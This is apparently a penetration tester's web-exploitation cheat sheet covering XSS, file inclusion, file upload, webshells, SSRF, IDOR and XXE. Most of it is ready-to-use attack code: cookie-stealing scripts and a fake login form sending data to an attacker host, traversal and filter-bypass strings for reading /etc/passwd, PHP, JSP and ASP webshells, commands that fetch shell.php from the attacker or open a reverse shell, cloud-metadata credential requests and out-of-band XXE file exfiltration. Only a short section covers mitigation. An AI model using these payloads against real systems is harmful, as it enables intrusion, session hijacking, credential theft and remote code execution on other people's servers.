new Image().src='http://<ATTACKER_IP>/index.php?c='+document.cookie;

Login Form Injection

<h3>Please login to continue</h3>
<form action=http://<ATTACKER_IP> >
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>

Blind XSS

Manual

Generally, to enumerate Blind XSS vulns, start by setting a server to receive a callback for a particular HTML field that is being tested.

mkdir /tmp/tmpserver && cd /tmp/tmpserver
cat << 'EOF' > script.js
new Image().src='http://10.10.14.175:8080/index.php?c=' + document.cookie;
EOF
php -S 0.0.0.0:8080

NOTE: usually, password fields are hashed and email fields are validated client/server side, so they are harder or impossible

# MODIFY PAYLOAD AS NEEDED
PAYLOAD='"><script src=http://<ATTACKER_IP>:8080/script.js></script>'
# Encode it
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
# Hack it!
curl "http://<TARGET>/<PAGE>?\
Name=${ENCODED}\
&Email=${ENCODED}\
&Phone+Number=${ENCODED}\
&Product=${ENCODED}\
&os=${ENCODED}\
&browser=${ENCODED}\
&message=${ENCODED}\
&ttype=${ENCODED}" \
-H 'X-Requested-With: XMLHttpRequest'

Check the PHP server for the response with the cookie. Then add the cookie to the browser and visit the appropriate login page:

  • Click Shift+F9 to show the Storage bar
  • Click on the + button on the top right corner
  • Add Name is the part before = and the Value is the part after = from the stolen cookie

Dalfox

NOTE: this is very dangerous and can break servers easily

# this installs the program at `~/go/bin/dalfox`
go install github.com/hahwul/dalfox/v2@latest
# HTTP GET
dalfox url 'http://<TARGET>/?<PARAM>=<VALUE>'

# HTTP POST (can include multiple params for -d)
# COOKIES: -C 'PHPSESSID=<YOUR_COOKIE>'
dalfox url 'http://<TARGET>/' -X POST -d '<PARAM>=<VALUE>'

Blind

# Fuzz web page fields
dalfox url "http://<TARGET_IP>/<PAGE>" \
  --skip-mining-dom \
  --blind "http://<ATTACKER_IP>:8080" \
  -X POST \
  -d "<PARAM>=<VALUE>"
  --header "X-Requested-With: XMLHttpRequest" \
  --blind "http://10.10.14.175:8080" \
  --delay 500

XSS Prevention & Mitigation

XSS defense requires a Defense in Depth approach. Never rely solely on Frontend validation (it is easily bypassed).

Frontend

  • Input Validation: Use Regex to enforce strict formats (e.g., Email, Date).
  • Sanitization: Strip dangerous tags before processing.
  • Safe Sinks: Avoid writing raw HTML.
    • UNSAFE: innerHTML, outerHTML, document.write(), jQuery append(), html().
    • SAFE: innerText, textContent.

Backend

  • Input Validation: Reject input that doesn’t match expected types (e.g., PHP filter_var).
  • Input Sanitization: Escape special characters before storage (e.g., PHP addslashes, Node DOMPurify).
  • Output Encoding (CRITICAL): Convert special characters into HTML Entities (e.g., <&lt;) before rendering.
    • PHP: htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
    • NodeJS: html-entities library.

Server Configuration

  • Content Security Policy (CSP): The most powerful header against XSS.
    • Content-Security-Policy: script-src 'self' (Only allow scripts from the same origin, blocks inline JS).
  • Cookie Flags:
    • HttpOnly: Prevents JavaScript from reading document.cookie.
    • Secure: Ensures cookies are only sent over HTTPS.
  • Headers:
    • X-Content-Type-Options: nosniff (Prevents MIME sniffing).
  • WAF: Web Application Firewall (ModSecurity, AWS WAF) to block common payloads.
See more about… File Inclusion

Source: Docs > 5 - Exploitation > file-inclusion

File Inclusion (FI) allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

There are 2 types, which depend on the underlying vulnerable function:

Code Examples of FI

These examples use the idea of a webpage in multiple languages that allows the user to dynamically load webpage in the selected language.

PHP

// Selector
if (isset($_GET['language'])) {
    include($_GET['language']);
}

NodeJS

// Selector
if(req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}

// about.html
app.get("/about/:language", function(req, res) {
    res.render(`/${req.params.language}/about.html`);
});

Java

// Selector
<c:if test="${not empty param.language}">
    <jsp:include file="<%= request.getParameter('language') %>" />
</c:if>

// about.html
<c:import url= "<%= request.getParameter('language') %>"/>

.NET

// Selector
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
    <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> 
}

// about.html
@Html.Partial(HttpContext.Request.Query['language'])

Can Function X Read/Execute?

FunctionRead ContentExecuteRemote URL
PHP
include()/include_once()
require()/require_once()
file_get_contents()
fopen()/file()
NodeJS
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include

Checking Vulnerability

Due to file permissions, these files should almost always exist and be accessible if a target is vulnerable to LFI:

  • Linux: /etc/passwd
  • Windows: C:\Windows\boot.ini

Generally, they will be 3-5 folder depths down from the root filesystem:

# without '/'
../../../../etc/passwd
# with '/'
/../../../../etc/passwd

# basic filter '../' bypass
....//....//....//etc/passwd
..././
....\/

# URL encoding: must encode entire string
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

# regex might require a specific string or extension for a folder or extension
# the extension part can limit the files accessible
languages/.*php

# overflow character limit to evade extension filter
# ONLY: PHP <5.3 versions
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

# null byte
# ONLY: PHP <5.5 versions
../../../../etc/passwd%00.php

URL Encoding

# Total URL Encoding via Python
echo -n '<LFI_STRING>' | python3 -c "import sys; print(''.join('%{0:02x}'.format(ord(c)) for c in sys.stdin.read()))"

Finding Files

Typically, the backend server will not have debug messages enabled. In order to enumerate files (such as other *.php or config files in the same directory), fuzzing the web server and keeping all HTTP responses (e.g. codes 301, 302, 403, etc.) can show that those files or locations exist AND could be accessible via LFI (but not normal HTTP requests)

# Find *.php files that DO EXIST on the server
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.php

If the found files can be accessed via LFI, but get executed instead of merely read, use a PHP filter like base64 to encode the file to read and prevent it from being executed:

# NOTE: .php get appended to `resource` so "<FILE>" is really "<FILE>.php"
http://<TARGET>/<PAGE>?<PARAMETER>=php://filter/read=convert.base64-encode/resource=<FILE>

# View Page Source > Decode base64
echo '<BASE64> | base64 -d'

Local File Inclusion

Check Config

# If the LFI is already know (e.g. via LFImap) this
# can browse for all accessible config files
ffuf -w <LFI_LIST>:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAMETER>=<LFI>FUZZ' -fs 0 -v

Execute Commands

If able, check that appropriate settings are enabled and the underlying function supports the command.

via data

# Base64'd PHP Webshell: <?php system($_GET["cmd"]); ?>
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=;<COMMAND>;'

via input

# POST PHP Webshell
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' 'http://<TARGET>/<PAGE>?<PARAMETER>=php://input&cmd=<COMMAND>'

via expect

curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=expect://<COMMAND>'

Remote File Inclusion

If able, check that appropriate settings are enabled and the underlying function supports the command. Sometimes, though not always, command execution is allowed.

# URL is the remote resource
http://<TARGET>/<PAGE>?<PARAMETER>=<URL>

# Create remote PHP web shell
# NOTE: this only works for get and execute style functions
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 8080

# Execute commands by calling back to ATTACK_IP and executing that file
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=<ATTACKER_IP>:<PORT>/shell.php?cmd=<COMMAND>'

Log Poisoning

Poisoning a file to gain execution can be done by PHPSESSION, which is the settings a user has selected for a webpage.

# Get PHPSESSION from F12 > Storage
# NOTE: that file is stored on disk as:
# /var/lib/php/sessions/sess_<PHPSESSION>

# Read the settings for the PHPSESSION
http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>

# Let's see if we control the OPTION
http://<TARGET>/<PAGE>?<PARAMETER>=CONTROL
# Now read the value
http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>

# Set OPTION to a PHP webshell
curl -sc cookies.txt 'http://<TARGET>/<PAGE>?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E'

# Now execute commands
curl -sko- -b cookies.txt 'http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>&cmd=<COMMAND>'

Scanning

To find parameters that could be vulnerable to LFI, first search for the GET/POST parameter, then try out LFI payloads as a value.

NOTE: these payloads are easily defeated by file extension filtering, so that needs to be mitigated as needed. Often times:

  1. Check server configs
  2. Attempt to read and see the filtering from the pages
  3. Incorporate the filtering into the ffuf URL portion
# FIND: params
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>

# FIND: LFI payloads
ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>

LFI Filter Evasion

When the default Jhaddix wordlist fails (returns 200s but no content, or 500 errors), the application is filtering your input.

The Filter (What the dev did)The Bypass (How to break it)Example Payload
Traversal Stripping (Removes ../)Nested or overlapping traversals.....//....//etc/passwd
..././..././etc/passwd
URL Decoding Filters (WAF)URL encode, or double-URL encode.%2e%2e%2fetc%2fpasswd
%252e%252e%252fetc%252fpasswd
Hardcoded Prefix (include("dir/".$p))Add more ../ to climb out of the forced directory.../../../../../../etc/passwd
Hardcoded Suffix (include($p.".php"))Legacy (PHP < 5.3): null byte.
Modern: PHP filter (Base64).
../../../etc/passwd%00
php://filter/read=convert.base64-encode/resource=config
Keyword Blocking (Blocks passwd)Wildcards (Linux) or redundant slashes./etc//passwd
/etc/security/../passwd

Mechanics & Logic

1. The “Forced Extension” Problem (.php)

If the code is include($_GET['page'] . ".php");, requesting /etc/passwd makes the server look for /etc/passwd.php, which doesn’t exist.

Solution: Pivot to reading the application’s source code using PHP wrappers. If you request php://filter/convert.base64-encode/resource=config, the server appends .php making it config.php. The wrapper Base64-encodes the PHP code instead of executing it, bypassing the extension filter entirely.

2. The str_replace Trap

Many developers try to fix LFI with str_replace("../", "", $input).

The bypass: If you send ....//, the filter finds the ../ in the middle and deletes it. What remains is the outer ../, which pieces itself back together after the filter runs.

Advanced Scanning

The LFI-Jhaddix list is a great scattergun; to explicitly test bypasses, use targeted SecLists:

# FIND: Advanced bypasses (nested, encoded, null bytes)
ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>

# FIND: PHP wrapper source code extraction (targets common files like index, config, db)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=php://filter/read=convert.base64-encode/resource=FUZZ' -fs <SIZE>
See more about… Parameter fuzzing

Source: Docs > 9 - Notes > ffuf#parameter-fuzzing

Parameter fuzzing

GET

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>

POST

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>

LFImap

Automates exploitation of discovery, filter evasion, and RCE escalation (wrappers, log poisoning, etc.).

# Install
git clone https://github.com/hansmach1ne/LFImap.git && cd LFImap
python3 -m pip install -r requirements.txt

# Base Scan (Use '*' to mark the injection point)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*'

# Full Auto-Exploit (Tests all bypasses & attempts RCE)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' -a

# Pop a Reverse Shell directly (if vulnerable)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' --exploit --lhost <ATTACKER_IP> --lport <LPORT>

Nuclei

Best for discovering zero-days, CVEs, and blind out-of-band (OOB) inclusions across massive attack surfaces.

See more about… Fix Go

Source: Docs > 9 - Notes > Troubleshooting#fix-go

Fix Go

When system Go is broken or missing (HTB / online lab VMs)…

go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23

…Install a local Go and wire it into PATH:

wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz
mkdir -p ~/go_bin
tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz
export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH
echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc
go version
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Update templates first
nuclei -ut

# Target a specific URL for all known LFI vectors
echo 'http://<TARGET>/index.php?page=test' | nuclei -tags lfi

# Fuzzing Mode (Uses Nuclei's DAST engine to mutate parameters)
nuclei -u 'http://<TARGET>/' -dast -tags lfi

# Blind OOB LFI (Catch callbacks with interactsh automatically)
nuclei -u 'http://<TARGET>/' -tags oast,lfi
See more about… File Upload

Source: Docs > 5 - Exploitation > file-upload

Insecure file upload occurs when an application accepts file uploads without proper validation of type, content, or destination. Attackers can upload webshells, abuse allowed extensions or content types, or combine upload with XXE to read or execute code.

Process

  1. Identify the web technologies used (e.g. PHP).
  2. Check for client- and server-side validation and filtering.
  3. Intercept file submission with a web proxy and test modifications of:
    • Filename extensions in the request body
    • Content-Type headers
  4. Disable client-side validation (e.g. via proxy or DevTools: delete or modify the validation functions).
  5. Bypass server-side validation:
    • Fuzz file extensions (e.g. .php7, .phtml, or mixed case .pHP) via Intruder. Untick “URL Encoding” so the dot is not encoded.
    • Try double extensions such as .jpgFUZZ or FUZZ.jpg.
    • Use ffuf -od reqs with a minimal “Hello World” payload for the target tech to see which extension actually executes.
# Extension fuzzing
# NOTE: this will upload the request; use a "Hello World" payload for the target tech (e.g. PHP)
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -od ffuf_ext_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txt

Content-Type for Uploads

Fuzz the request body’s Content-Type (not the HTTP header).

NOTE: Uncheck the URL-encode option in the proxy (e.g. Intruder) so the payload is sent literally.

# Content-Type fuzzing
# NOTE: use a culled list for image uploads
grep 'image/' /usr/share/seclists/Discovery/Web-Content/web-all-content-types.txt > image-content-types.txt

ffuf -w image-content-types.txt:FUZZ -od ffuf_type_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txt

Magic Bytes

File TypeMagic Bytes (Hex)ASCII Representation
GIF47 49 46 38 39 61 or 47 49 46 38 37 61GIF8, GIF89a or GIF87a
JPGFF D8 FF E0 (standard)ÿØÿà
PNG89 50 4E 47 0D 0A 1A 0A.PNG....

Magic bytes are the first bytes inside the file (not metadata or extension) that identify the file type. Prepending valid magic bytes can help bypass content checks while keeping executable content (e.g. PHP) after them.

GIF8 <?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

Character Injection

This approach uses character workarounds that can bypass validation on some (especially older) PHP versions.

> wordlist.txt
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    while IFS= read -r ext; do
        [[ -z "$ext" || "$ext" == \#* ]] && continue
        echo "shell${char}${ext}.jpg" >> wordlist.txt
        echo "shell${ext}${char}.jpg" >> wordlist.txt
        echo "shell.jpg${char}${ext}" >> wordlist.txt
        echo "shell.jpg${ext}${char}" >> wordlist.txt
    done < "/usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt"
done

Files with XXE (via local file reads)

SVG, PDF, Word, PowerPoint, and other formats that parse XML can execute or expose data via embedded XXE. If the upload is processed as XML, check Page Source for reflected data that may not be shown in the rendered page.

Read File

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file://<FILE>"> ]>
<svg>&xxe;</svg>

Read PHP

NOTE: The response may need to be base64-decoded. This assumes the PHP filter wrapper is available.

To read server configs or PHP without executing them:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<PHP_FILE>"> ]>
<svg>&xxe;</svg>

Simple Webshell

Append PHP code to the SVG payload so the uploaded file both triggers the XXE and contains the webshell.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> 
<svg>&xxe;</svg>
<?php system($_REQUEST['cmd']); ?>
See more about… Web

Source: Docs > 5 - Exploitation > shells#web

Web

Web ServerDefault Webroot
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php

Code

NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings

<?php echo 7*7; ?>

<?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND>
<%= 7*7 %>

<% Runtime.getRuntime().exec(request.getParameter("dbg")); %>

curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>

<%= 7*7 %>

<% eval request("dbg") %>

curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>

See more about… Server-Side Request Forgery (SSRF)

Source: Docs > 5 - Exploitation > ssrf

SSRF forces the server to make HTTP (or other protocol) requests on the attacker’s behalf. The server becomes a proxy — useful for accessing internal services, cloud metadata endpoints, or local files.

Identification: Look for any parameter that fetches a remote resource — ?url=, ?image=, ?server=, ?dest=, PDF export features, webhooks, icon fetchers.

VariantDescription
Basic SSRFParameter takes a URL; redirect it to internal target
Blind SSRFServer makes the request but returns no output — detect via out-of-band callback
SSRF → LFIServer (or its PDF renderer) reads file:// URIs
SSRF → RCEChain into internal services (Redis, Elasticsearch, etc.)

Basic SSRF

Point the vulnerable parameter at an internal resource or metadata endpoint:

# Internal admin panel
http://<TARGET>/item?url=http://127.0.0.1/admin

# AWS metadata
http://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP metadata
http://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Blind SSRF Detection

If the response gives nothing back, confirm the request fires via a callback:

# Start listener
nc -lvnp 8080

# Inject callback URL into the vulnerable parameter
curl "http://<TARGET>/webhook?url=http://<ATTACKER_IP>:8080/ping"

Use Burp Collaborator or interactsh for DNS-based OOB confirmation.

SSRF → LFI via HTML Injection in PDF

When an app generates PDFs from user input using a headless browser (wkhtmltopdf, Puppeteer, Chrome headless), injecting JavaScript into the input causes the renderer to execute it. The script can read file:// URIs and exfiltrate content back to the attacker.

Identification: Submit a field and download the resulting PDF — if your input renders as HTML (not escaped), the renderer is likely vulnerable.

Inject into the vulnerable input field (e.g., a tracker or name field that ends up in the PDF):

while true; do nc -lvnp 8080; done

# Into vulnerable field
<script>
x=new XMLHttpRequest;
x.onload=function(){document.location='http://<ATTACKER_IP>:8080?c='+btoa(this.responseText)};
x.open('GET','file:///etc/passwd');
x.send();
</script>

Automate with curl

URL-encode the payload and POST it directly:

while true; do nc -lvnp 8080; done

PAYLOAD='<script>x=new XMLHttpRequest;x.onload=function(){document.location="http://<ATTACKER_IP>:8080?c="+btoa(this.responseText)};x.open("GET","file:///<FILE>");x.send();</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
curl 'http://<TARGET>/' \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw "insert=Track+Now&handle=${ENCODED}"

NOTE: Some PDF renderers block file:// access by default. If the payload fires but returns empty, try /proc/self/environ, /etc/hosts, or app config files as alternative targets.


HTTP Verb Tampering

This should return a HTTP Allow header that will demonstrate accepted HTTP verbs:

curl -X OPTIONS -i 'http://<TARGET>/*'

Then experiment with changing the request… like GET -> POST. If it’s an authentication request that uses only HTTP Headers, try also HEAD or OPTIONS.

curl -X POST "http://<TARGET>/index.php" -d "filename=test;id"

Create HTTP Verb list from common ones and response from OPTIONS

{ curl -s -I -X OPTIONS <TARGET> | grep -i "allow:" | cut -d':' -f2 | tr ',' '\n' | tr -d ' ' ; echo "GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT DEBUG TEST" | tr ' ' '\n'; } | sort -u > http_methods.txt

ffuf -w ./http_methods.txt -X FUZZ -u <TARGET>

Insecure Direct Object References (IDOR)

Occurs when an application exposes a direct reference to an internal implementation object (such as a database key or file path) in a URL or API parameter, allowing an attacker to manipulate that reference to access unauthorized data belonging to another user.

Basic Fuzzing

NOTE: don’t forget the cookie header if needed!

# Fuzz API using IDs 0-50, matching on HTTP 200 or "txt"
ffuf -request-proto http -request request.txt -w <(seq 1 10) -mr <REGEX>

ffuf -u "http://<TARGET>/api/user/FUZZ" -w <(seq 0 50) -mr <REGEX>

Encoded Fuzzing

If the target encodes the ID (e.g. Base64 in the URL) but expects an MD5 hash for the actual file/object:

# Iterates 1-20, calculates Base64(ID) and MD5(ID), and downloads file
for i in {1..20}; do
    B64_ID=$(echo -n "$i" | base64 -w 0)
    MD5_ID=$(echo -n "$i" | md5sum | tr -d ' -')
    
    echo "Testing ID: $i | B64: $B64_ID | MD5: $MD5_ID"
    
    # -J uses the server Content-Disposition automatically
    curl -sJo- "http://<TARGET>/download.php?contract=$B64_ID"
    # NOTE: this is a manual method:
    # -H "Content-Disposition: attachment; filename=\"contract_$id_hashed.pdf\"" 
done

LFI via XXE

Default XML header as needed:

<?xml version="1.0"?>

TRY placing &xxe; into different fields to see if TESTSTRING gets reflected back to the page.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe "TESTSTRING">]>
<root><subtotal>&xxe;</subtotal><userid>&xxe;</userid></root>

Basic LFI via XXE

Use the php://filter to Base64-encode files before extraction. This prevents XML parsers from crashing when they hit characters like < or & inside the target PHP file.

NOTE: Replace <FILE>!

<!-- INJECT THIS INTO THE XML BODY -->
<!DOCTYPE email[
  <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=<FILE>">
]>
<root>
    <email>&file;</email>
</root>

Decode locally: base64 -d <<< "PD9waHA..."

Advanced LFI

If the PHP wrapper is blocked, use CDATA to read raw files. Requires hosting a malicious DTD on your machine.

echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd

python3 -m http.server 8000

NOTE: Replace <FILE> and <ATTACKER_IP>!

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file://<FLAG>">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://<ATTACKER_IP>:8000/xxe.dtd">
  %xxe;
]>

Send as HTTP request body:

<!DOCTYPE email[
  <!ENTITY % remote SYSTEM "http://<ATTACKER_IP>/xxe.dtd">
  %remote;
  %xxe;
]>
<root>
    <email>&joined;</email>
</root>

Blind OOB Exfiltration

If the server processes the XML but returns no output to your screen, force the server to send the file contents to your web server as a URL parameter. This sends the desired data/file to the ATTACKER_IP via an outbound HTTP request

NOTE: Replace <FILE> and <ATTACKER_IP>!

# XXE for reading file
cat << 'EOF' > xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=<FILE>">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<ATTACKER_IP>:8000/?content=%file;'>">
EOF

# Autodecoder for base64
cat << 'EOF' > index.php
<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>
EOF

php -S 0.0.0.0:8000

Step 2: The Payload (Send to Target)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://<ATTACKER_IP>:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

RCE via expect

Note: The expect module is not enabled/installed by default on modern PHP servers, so this attack may not always work. This is why XXE is usually used to disclose sensitive local files and source code, which may reveal additional vulnerabilities or ways to gain code execution.

echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80

Note: We replaced all spaces in the above XML code with $IFS, to avoid breaking the XML syntax. Furthermore, many other characters like |, >, and { may break the code, so we should avoid using them.

NOTE: Replace and <ATTACKER_IP>!

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'<ATTACKER_IP>/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>

XXEinjector: Automated OOB

If manual OOB is tedious, use XXEinjector to automate the extraction.

  1. Save the Burp POST request to req.txt.
  2. Replace the XML data with the word XXEINJECT.
...

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
  1. Run the extractor:
git clone https://github.com/enjoiz/XXEinjector.git && cd XXEinjector

ruby XXEinjector.rb --verbose --phpfilter --oob=http --host=<ATTACKER_IP> --httpport=8000 --file=req.txt --path=<FILE>
# Results save to: Logs/<TARGET_IP>/etc/passwd.log